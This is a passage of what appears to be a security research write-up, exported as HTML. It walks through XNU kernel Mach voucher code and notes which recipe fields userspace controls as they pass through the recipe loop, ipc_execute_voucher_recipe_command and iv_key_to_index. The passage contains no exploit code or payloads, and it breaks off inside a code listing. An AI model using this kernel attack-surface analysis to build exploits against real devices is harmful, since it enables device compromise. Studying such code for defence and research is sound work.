<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.caafa58444ef86dee8c472d187debed00ee56da7"></a><a id="t.14"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7">/* allocate new voucher */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_alloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">ivgt_keys_in_use</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IV_NULL </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> voucher</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_RESOURCE_SHORTAGE</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* iterate over the recipe items */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">while</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c15">0</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> recipe_size </span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c4"> recipe_used</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_t prev_iv</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">recipe_size </span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c4"> recipe_used </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(*</span><span class="BGLtzooHlW-c4">sub_recipe</span><span class="BGLtzooHlW-c2">))</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> KERN_INVALID_ARGUMENT</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* find the next recipe */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sub_recipe </span><span class="BGLtzooHlW-c2">=</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_recipe_t</span><span class="BGLtzooHlW-c2">)(</span><span class="BGLtzooHlW-c6">void</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*)&</span><span class="BGLtzooHlW-c4">recipes</span><span class="BGLtzooHlW-c2">[</span><span class="BGLtzooHlW-c4">recipe_used</span><span class="BGLtzooHlW-c2">];</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">recipe_size </span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c4"> recipe_used </span><span class="BGLtzooHlW-c2">-</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(*</span><span class="BGLtzooHlW-c4">sub_recipe</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2"><</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">content_size</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> KERN_INVALID_ARGUMENT</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> recipe_used </span><span class="BGLtzooHlW-c2">+=</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">sizeof</span><span class="BGLtzooHlW-c2">(*</span><span class="BGLtzooHlW-c4">sub_recipe</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">+</span><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">content_size</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* convert voucher port name (current space) */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/* into a voucher reference */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> prev_iv </span><span class="BGLtzooHlW-c2">=</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> convert_port_name_to_voucher</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">previous_voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">MACH_PORT_NULL </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">previous_voucher </span><span class="BGLtzooHlW-c2">&&</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> IV_NULL </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> prev_iv</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> KERN_INVALID_CAPABILITY</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ipc_execute_voucher_recipe_command</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> voucher</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">key</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> prev_iv</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> sub_recipe</span><span class="BGLtzooHlW-c2">-></span><span class="BGLtzooHlW-c4">content_size</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_release</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">prev_iv</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">new_voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_dedup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">else</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">*</span><span class="BGLtzooHlW-c4">new_voucher </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> IV_NULL</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_dealloc</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> FALSE</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">}</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>At the top of this snippet a new voucher is allocated in </span><span class="BGLtzooHlW-c11">iv_alloc</span><span>. </span><span class="BGLtzooHlW-c11">ipc_execute_voucher_recipe_command</span><span> is then called in a loop to consume however many sub-recipe structures were provided by userspace. Each sub-recipe can optionally refer to an existing voucher via the sub-recipe </span><span class="BGLtzooHlW-c11">previous_voucher</span><span> field. Note that MIG doesn't natively support variable-sized structures containing ports so it's passed as a mach port name which is looked up in the calling task's mach port namespace and converted to a voucher reference by </span><span class="BGLtzooHlW-c11">convert_port_name_to_voucher</span><span>. The intended functionality here is to be able to refer to </span><span class="BGLtzooHlW-c11">attrs</span><span class="BGLtzooHlW-c10"> in other vouchers to copy or "redeem" them. As discussed, the semantics of redeeming a voucher attr isn't defined by the abstract voucher code and it's up to the individual attr managers to decide what that means.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Once the entire recipe has been consumed and all the </span><span class="BGLtzooHlW-c11">iv_table</span><span> entries filled in, </span><span class="BGLtzooHlW-c11">iv_dedup</span><span> then searches the </span><span class="BGLtzooHlW-c11">ivht_bucket</span><span> hash table to see if there's an existing voucher with a matching set of attributes. Remember that each attribute value stored in a voucher is an index into the attribute controller's attribute table; and those attributes are unique, so it suffices to simply compare the array of voucher indexes to determine whether all attribute values are equal. If a matching voucher is found, </span><span class="BGLtzooHlW-c11">iv_dedup</span><span> returns a reference to the existing voucher and calls </span><span class="BGLtzooHlW-c11">iv_dealloc</span><span> to free the newly created newly-created voucher. Otherwise, if no existing, matching voucher is found, </span><span class="BGLtzooHlW-c11">iv_dedup</span><span> adds the newly created voucher to the </span><span class="BGLtzooHlW-c11">ivht_bucket</span><span class="BGLtzooHlW-c10"> hash table.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span>Let's look at </span><span class="BGLtzooHlW-c11">ipc_execute_voucher_recipe_command</span><span> which is responsible for filling in the requested entries in the voucher </span><span class="BGLtzooHlW-c11">iv_table</span><span>. Note that </span><span class="BGLtzooHlW-c11">key</span><span> and </span><span class="BGLtzooHlW-c11">command</span><span> are arbitrary, controlled dwords. </span><span class="BGLtzooHlW-c11">content</span><span> is a pointer to a buffer of controlled bytes, and </span><span class="BGLtzooHlW-c11">content_size</span><span class="BGLtzooHlW-c10"> is the correct size of that input buffer. The MIG layer limits the overall input size of the recipe (which is a collection of sub-recipes) to 5260 bytes, and any input content buffers would have to fit in there.</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.191bcb9f8d9273c881068813b7858079e6ae8a8c"></a><a id="t.15"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> kern_return_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ipc_execute_voucher_recipe_command</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_t voucher</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_key_t key</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_command_t command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_t prev_iv</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_t content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t content_size</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> boolean_t key_priv</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t prev_val_index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> iv_index_t val_index</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kern_return_t kr</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">switch</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">command</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATTR_USER_DATA_STORE</span><span class="BGLtzooHlW-c10"> isn't one of the switch statement case values here so the code falls through to the default case:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.66c241fd41870ecdf298b20267a430a3c55fc901"></a><a id="t.16"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">default</span><span class="BGLtzooHlW-c2">:</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> kr </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> ipc_replace_voucher_value</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">voucher</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> prev_iv</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> content_size</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">KERN_SUCCESS </span><span class="BGLtzooHlW-c2">!=</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> kr</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c8"><span class="BGLtzooHlW-c3"></span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">break</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_SUCCESS</span><span class="BGLtzooHlW-c2">;</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c10">Here's that code:</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.2efb8ee4a6d79102545a6af1433eab60fcfedb02"></a><a id="t.17"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c3"> kern_return_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">ipc_replace_voucher_value</span><span class="BGLtzooHlW-c2">(</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_t voucher</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_key_t key</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_recipe_command_t command</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ipc_voucher_t prev_voucher</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_t content</span><span class="BGLtzooHlW-c2">,</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> mach_voucher_attr_content_size_t content_size</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">...</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c7">/*</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Get the manager for this key_index.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> * Returns a reference on the control.</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c7"> */</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> key_index </span><span class="BGLtzooHlW-c2">=</span><span class="BGLtzooHlW-c4"> iv_key_to_index</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> ivgt_lookup</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">key_index</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> TRUE</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivam</span><span class="BGLtzooHlW-c2">,</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">&</span><span class="BGLtzooHlW-c4">ivac</span><span class="BGLtzooHlW-c2">);</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">IVAM_NULL </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> ivam</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> KERN_INVALID_ARGUMENT</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">..</span></p></td></tr></tbody></table>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5"><span class="BGLtzooHlW-c11">iv_key_to_index</span><span> just subtracts 1 from key (assuming it's valid and not </span><span class="BGLtzooHlW-c11">MACH_VOUCHER_ATRR_KEY_ALL</span><span class="BGLtzooHlW-c10">):</span></p>
<p class="BGLtzooHlW-c0 BGLtzooHlW-c5 BGLtzooHlW-c8"><span class="BGLtzooHlW-c10"></span></p><a id="t.bb233177f78d9071ef9e7fd9994b192f8d1f87d3"></a><a id="t.18"></a><table class="BGLtzooHlW-c12"><tbody><tr class="BGLtzooHlW-c1"><td class="BGLtzooHlW-c13" colspan="1" rowspan="1">
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c6">static</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">inline</span><span class="BGLtzooHlW-c3"> iv_index_t</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4">iv_key_to_index</span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">mach_voucher_attr_key_t key</span><span class="BGLtzooHlW-c2">)</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">if</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">(</span><span class="BGLtzooHlW-c4">MACH_VOUCHER_ATTR_KEY_ALL </span><span class="BGLtzooHlW-c2">==</span><span class="BGLtzooHlW-c4"> key </span><span class="BGLtzooHlW-c2">||</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> MACH_VOUCHER_ATTR_KEY_NUM_WELL_KNOWN </span><span class="BGLtzooHlW-c2"><</span><span class="BGLtzooHlW-c4"> key</span><span class="BGLtzooHlW-c2">)</span><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">{</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c6">return</span><span class="BGLtzooHlW-c4"> IV_UNUSED_KEYINDEX</span><span class="BGLtzooHlW-c2">;</span></p>
<p class="BGLtzooHlW-c0"><span class="BGLtzooHlW-c4"> </span><span class="BGLtzooHlW-c2">}</span></p>
